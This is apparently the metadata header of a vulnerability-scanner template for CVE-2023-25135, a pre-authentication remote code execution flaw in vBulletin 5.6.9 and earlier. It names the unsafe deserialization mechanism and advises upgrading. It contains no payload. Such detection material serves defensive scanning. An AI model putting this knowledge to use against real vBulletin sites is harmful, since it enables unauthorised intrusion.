id: CVE-2023-25135
|
|
|
|
info:
|
|
name: vBulletin <= 5.6.9 - Pre-authentication Remote Code Execution
|
|
author: iamnoooob,rootxharsh,pdresearch
|
|
severity: critical
|
|
description: |
|
|
vBulletin before 5.6.9 PL1 allows an unauthenticated remote attacker to execute arbitrary code via a crafted HTTP request that triggers deserialization. This occurs because verify_serialized checks that a value is serialized by calling unserialize and then checking for errors.
|
|
remediation: Upgrade to the latest version to mitigate this vulnerability.
